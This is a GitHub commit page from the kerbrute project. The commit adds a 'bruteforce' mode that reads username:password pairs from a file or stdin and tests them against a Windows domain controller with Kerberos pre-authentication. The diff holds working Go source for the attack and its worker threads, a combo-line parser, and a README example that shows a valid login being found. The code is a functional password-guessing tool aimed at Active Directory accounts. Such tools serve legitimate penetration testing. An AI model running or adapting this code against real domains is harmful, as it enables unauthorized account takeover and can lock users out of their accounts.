Skip to content

Commit

Permalink
Feature/test combos (ropnop#14)
Browse files Browse the repository at this point in the history
* read combos from file and bruteforce working

* actually add the command

* undoing breaking changes

* read combos from stdin

* skip blank lines

* updated README

* fix typo
  • Loading branch information
ropnop authored May 21, 2019
1 parent 308f5a6 commit e99cb33
Show file tree
Hide file tree
Showing 5 changed files with 146 additions and 3 deletions.
23 changes: 22 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,7 @@ For more background and information, check out my Troopers 2019 talk, Fun with L
## Usage
Kerbrute has three main commands:
* **bruteuser** - Bruteforce a single user's password from a wordlist
* **bruteforce** - Read username:password combos from a file or stdin and test them
* **passwordspray** - Test a single password against a list of users
* **usernenum** - Enumerate valid domain usernames via Kerberos

Expand Down Expand Up @@ -130,6 +131,26 @@ Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop
2019/03/06 21:38:27 > Done! Tested 1001 logins (1 successes) in 2.711 seconds
```

### Brute Force
This mode simply reads username and password combinations (in the format `username:password`) from a file or from `stdin` and tests them with Kerberos PreAuthentication. It will skip any blank lines or lines with blank usernames/passwords. This will generate both event IDs [4768 - A Kerberos authentication ticket (TGT) was requested](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4768) and [4771 - Kerberos pre-authentication failed](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4771)
```
$ cat combos.lst | ./kerbrute -d lab.ropnop.com bruteforce -
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 05/11/19 - Ronnie Flathers @ropnop
2019/05/11 18:40:56 > Using KDC(s):
2019/05/11 18:40:56 > pdc01.lab.ropnop.com:88
2019/05/11 18:40:56 > [+] VALID LOGIN: athomas@lab.ropnop.com:Password1234
2019/05/11 18:40:56 > Done! Tested 7 logins (1 successes) in 0.114 seconds
```

## Installing
You can download pre-compiled binaries for Linux, Windows and Mac from the [releases page](https://github.com/ropnop/kerbrute/releases/tag/latest). If you want to live on the edge, you can also install with Go:

Expand Down Expand Up @@ -166,4 +187,4 @@ kerbrute_darwin_amd64 kerbrute_linux_amd64 kerbrute_windows_amd64.exe
```

## Credits
Huge shoutout to jcmturner for his pure Go implemntation of KRB5: https://github.com/jcmturner/gokrb5 . An amazing project and very well documented. Couldn't have done any of this without that project.
Huge shoutout to jcmturner for his pure Go implementation of KRB5: https://github.com/jcmturner/gokrb5 . An amazing project and very well documented. Couldn't have done any of this without that project.
88 changes: 88 additions & 0 deletions cmd/bruteforce.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,88 @@
package cmd

import (
"bufio"
"os"
"sync"
"sync/atomic"
"time"

"github.com/ropnop/kerbrute/util"
"github.com/spf13/cobra"
)

// bruteuserCmd represents the bruteuser command
var bruteForceCmd = &cobra.Command{
Use: "bruteforce [flags] <user_pw_file>",
Short: "Bruteforce username:password combos, from a file or stdin",
Long: `Will read username and password combos from a file or stdin (format username:password) and perform a bruteforce attack using Kerberos Pre-Authentication by requesting at TGT from the KDC. Any succesful combinations will be displayed.
If no domain controller is specified, the tool will attempt to look one up via DNS SRV records.
A full domain is required. This domain will be capitalized and used as the Kerberos realm when attempting the bruteforce.
WARNING: failed guesses will count against the lockout threshold`,
Args: cobra.ExactArgs(1),
PreRun: setupSession,
Run: bruteForceCombos,
}

func init() {
rootCmd.AddCommand(bruteForceCmd)
}

func bruteForceCombos(cmd *cobra.Command, args []string) {
combolist := args[0]
stopOnSuccess = false

combosChan := make(chan [2]string, threads)
defer cancel()

var wg sync.WaitGroup
wg.Add(threads)

var scanner *bufio.Scanner
if combolist != "-" {
file, err := os.Open(combolist)
if err != nil {
logger.Log.Error(err.Error())
return
}
defer file.Close()
scanner = bufio.NewScanner(file)
} else {
scanner = bufio.NewScanner(os.Stdin)
}

for i := 0; i < threads; i++ {
go makeBruteComboWorker(ctx, combosChan, &wg)
}

start := time.Now()

Scan:
for scanner.Scan() {
select {
case <-ctx.Done():
break Scan
default:
comboline := scanner.Text()
if comboline == "" {
continue
}
username, password, err := util.FormatComboLine(comboline)
if err != nil {
logger.Log.Debug("[!] Skipping: %q - %v", comboline, err.Error())
continue
}
combosChan <- [2]string{username, password}
}
}
close(combosChan)
wg.Wait()

finalCount := atomic.LoadInt32(&counter)
finalSuccess := atomic.LoadInt32(&successes)
logger.Log.Infof("Done! Tested %d logins (%d successes) in %.3f seconds", finalCount, finalSuccess, time.Since(start).Seconds())

if err := scanner.Err(); err != nil {
logger.Log.Error(err.Error())
}
}
4 changes: 2 additions & 2 deletions cmd/bruteuser.go
Original file line number Diff line number Diff line change
Expand Up @@ -22,14 +22,14 @@ A full domain is required. This domain will be capitalized and used as the Kerbe
WARNING: only run this if there's no lockout policy!`,
Args: cobra.ExactArgs(2),
PreRun: setupSession,
Run: bruteForce,
Run: bruteForceUser,
}

func init() {
rootCmd.AddCommand(bruteuserCmd)
}

func bruteForce(cmd *cobra.Command, args []string) {
func bruteForceUser(cmd *cobra.Command, args []string) {
passwordlist := args[0]
stopOnSuccess = true
kSession.SafeMode = true
Expand Down
15 changes: 15 additions & 0 deletions cmd/worker.go
Original file line number Diff line number Diff line change
Expand Up @@ -56,6 +56,21 @@ func makeEnumWorker(ctx context.Context, usernames <-chan string, wg *sync.WaitG
}
}

func makeBruteComboWorker(ctx context.Context, combos <-chan [2]string, wg *sync.WaitGroup) {
defer wg.Done()
for {
select {
case <-ctx.Done():
break
case combo, ok := <-combos:
if !ok {
return
}
testLogin(ctx, combo[0], combo[1])
}
}
}

func testLogin(ctx context.Context, username string, password string) {
atomic.AddInt32(&counter, 1)
login := fmt.Sprintf("%v@%v:%v", username, domain, password)
Expand Down
19 changes: 19 additions & 0 deletions util/username.go
Original file line number Diff line number Diff line change
Expand Up @@ -15,3 +15,22 @@ func FormatUsername(username string) (user string, err error) {
}
return parts[0], nil
}

func FormatComboLine(combo string) (username string, password string, err error) {
parts := strings.SplitN(combo, ":", 2)
if len(parts) == 0 {
err = errors.New("Bad format - missing ':'")
return "", "", err
}
user, err := FormatUsername(parts[0])
if err != nil {
return "", "", err
}
pass := strings.Join(parts[1:], "")
if pass == "" {
err = errors.New("Password is blank")
return "", "", err
}
return user, pass, err

}

0 comments on commit e99cb33

Please sign in to comment.